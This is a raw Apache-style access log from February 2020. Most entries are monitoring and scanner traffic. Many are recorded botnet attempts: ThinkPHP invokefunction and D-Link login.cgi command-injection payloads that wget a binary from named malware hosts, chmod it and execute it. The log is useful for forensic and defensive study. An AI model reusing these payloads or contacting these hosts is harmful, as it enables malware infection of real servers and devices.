117.6.52.53 - - [11/Feb/2020:15:32:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.235.95.111 - - [11/Feb/2020:15:36:42 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
185.42.195.84 - - [11/Feb/2020:15:36:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.151.174.148 - - [11/Feb/2020:15:39:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.38 - - [11/Feb/2020:15:44:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.108.66.80 - - [11/Feb/2020:15:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [11/Feb/2020:15:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.197.68.74 - - [11/Feb/2020:15:44:46 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:15:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.190.107 - - [11/Feb/2020:15:47:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.248.99.249 - - [11/Feb/2020:15:48:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:15:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.228.63.131 - - [11/Feb/2020:15:49:13 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
1.31.29.24 - - [11/Feb/2020:15:49:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:15:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.154.216 - - [11/Feb/2020:15:51:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.60.130 - - [11/Feb/2020:15:51:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.235 - - [11/Feb/2020:15:53:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.19.3 - - [11/Feb/2020:15:54:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:15:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.253.235 - - [11/Feb/2020:15:56:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.33.112.155 - - [11/Feb/2020:15:56:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.216.96.244 - - [11/Feb/2020:15:56:23 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.244 - - [11/Feb/2020:15:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
212.91.246.72 - - [11/Feb/2020:15:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:15:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.80 - - [11/Feb/2020:15:59:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [11/Feb/2020:15:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.78.136 - - [11/Feb/2020:16:04:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:16:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.221.45.197 - - [11/Feb/2020:16:05:25 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:16:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.102.229 - - [11/Feb/2020:16:09:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:16:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.251.72 - - [11/Feb/2020:16:10:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:16:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [11/Feb/2020:16:11:04 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.251.205.234 - - [11/Feb/2020:16:11:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.186.137.112 - - [11/Feb/2020:16:11:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
5.188.210.101 - - [11/Feb/2020:16:11:38 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:16:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [11/Feb/2020:16:12:41 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [11/Feb/2020:16:13:09 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:16:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [11/Feb/2020:16:15:49 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
111.35.35.18 - - [11/Feb/2020:16:15:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.82.69.23 - - [11/Feb/2020:16:16:12 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:16:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [11/Feb/2020:16:17:54 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
34.76.161.81 - - [11/Feb/2020:16:17:57 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:16:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.240.82 - - [11/Feb/2020:16:19:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:16:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.7.72.169 - - [11/Feb/2020:16:20:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
222.186.19.221 - - [11/Feb/2020:16:20:11 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
88.247.129.79 - - [11/Feb/2020:16:20:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
222.186.19.221 - - [11/Feb/2020:16:20:13 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [11/Feb/2020:16:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.20.89 - - [11/Feb/2020:16:20:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [11/Feb/2020:16:21:34 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [11/Feb/2020:16:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.150.120.242 - - [11/Feb/2020:16:23:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
222.186.19.221 - - [11/Feb/2020:16:23:14 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [11/Feb/2020:16:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.11.188.128 - - [11/Feb/2020:16:24:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [11/Feb/2020:16:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.79.174 - - [11/Feb/2020:16:25:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:16:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [11/Feb/2020:16:29:01 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [11/Feb/2020:16:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.64 - - [11/Feb/2020:16:32:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:16:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [11/Feb/2020:16:32:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [11/Feb/2020:16:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [11/Feb/2020:16:34:47 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [11/Feb/2020:16:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [11/Feb/2020:16:36:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [11/Feb/2020:16:36:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [11/Feb/2020:16:36:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:16:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.36.76 - - [11/Feb/2020:16:36:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.192.180.178 - - [11/Feb/2020:16:36:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [11/Feb/2020:16:37:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
188.26.6.5 - - [11/Feb/2020:16:37:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:16:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [11/Feb/2020:16:40:33 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [11/Feb/2020:16:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [11/Feb/2020:16:42:13 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [11/Feb/2020:16:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.47.102 - - [11/Feb/2020:16:44:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:16:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:16:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.210.34.214 - - [11/Feb/2020:16:46:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
